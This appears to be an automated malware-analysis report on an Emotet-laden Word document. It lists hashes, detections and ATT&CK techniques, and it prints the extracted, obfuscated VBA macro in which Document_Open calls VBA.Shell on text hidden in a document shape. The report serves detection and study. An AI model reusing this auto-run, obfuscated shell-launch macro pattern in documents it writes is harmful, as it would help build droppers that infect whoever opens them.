Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 c0cdad652c8a20af…

MALICIOUS

Office (OLE)

82.5 KB Created: 2018-11-09 11:37:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: 67417285329446c92c74d4119e204f91 SHA-1: 332991b13d900fa4ec709ad01177fdffdc96b15d SHA-256: c0cdad652c8a20af3c2cfe9448967fae0a5d693a5a95eda42762c0009fa171a6
230 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro that utilizes the Shell() function to execute a PowerShell command. This command is obfuscated but appears to download and execute a second-stage payload. The ClamAV detection and heuristic firings strongly indicate the Emotet family.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-6744894-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-6744894-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
       FormatDateTime (FUXkUk + JFQnok + JRmHp + MdSOMS) * LSRfPC + UBdMz
    hJrJftTbTD = VBA.Shell(Shapes(XNWJRj + zYCOOcBI + 1 + qbqok + cDInZKo).TextFrame.TextRange.Text + FFsDBNXb + Nousz, AwIquaIua)
    End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
    Private Sub Document_open()
    On Error Resume Next
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1616 bytes
SHA-256: 869ad178e22e6b76ad71cc5b3db8815aace403a66da8a83e080c9e1218961595
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "XmGQzKnDADs"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function aHkFz()
On Error Resume Next
Const AwIquaIua = 772557782 - 772557782
   FormatDateTime (CbcTF + iJMQw + oiulGc + mTwfSj) + bkiGw + KUzHc * LHzia + BzRlE + ddJzB + wJjjr
   FormatDateTime dpbtVO + lRQaf + iqrBdt + AjEUQa + rnmzrG + wHkFE
   FormatDateTime (FUXkUk + JFQnok + JRmHp + MdSOMS) * LSRfPC + UBdMz
hJrJftTbTD = VBA.Shell(Shapes(XNWJRj + zYCOOcBI + 1 + qbqok + cDInZKo).TextFrame.TextRange.Text + FFsDBNXb + Nousz, AwIquaIua)
End Function
Private Sub Document_open()
On Error Resume Next
   TimeValue (qGHRh + poIbB * (wXUBWR + zTocKG))
   FormatNumber (TFiFFG + WnJrQ + sTjjj + pbRsN)
   FormatDateTime apDOtu + KWWijJ + KCMQb + CpFPlJ + UZXuSz + OmNiUj + sGttn + jjQjY + tikjnc + QclwcL * isYoiw + WKjMWz + zoIoVd + wiCZC
   TimeValue vKqWjc + XodfDX + NAOXw + UzcDO / dKziK + SkOiX + VdtfMk + Ywszof / (CFUvh + IQwoaG + WknAj + mBTWon - (LqXlKJ + pGNPS))
   FormatDateTime (DcQXX + nqSwpQ)
   FormatDateTime NVOfLZ + Dbvovw / fhnth + ccjIYm + BdzKzU + anMVQ - rQZbd + BKJvXN + AJlpG + YaiZi + obtjsU + cLpMC
aHkFz
   TimeValue kcfzCn + lJjFBV + KqjVh + wTLkZ - fqrLv + QQGZUz + tqZqT + iFKMv + nqFmQR + ajHpuw + SkEKkW + OnOXcr * (qPUiv + HwKip)
   TimeValue lpsiZw + TupwFN + vNqvqo + HaQaF + pLzikc + nlmrE + pHzuuP + lPcVH + (piiOb + ULKIz * (NdvEK + zqCzwI + WLAAZj + bXmjJX))
End Sub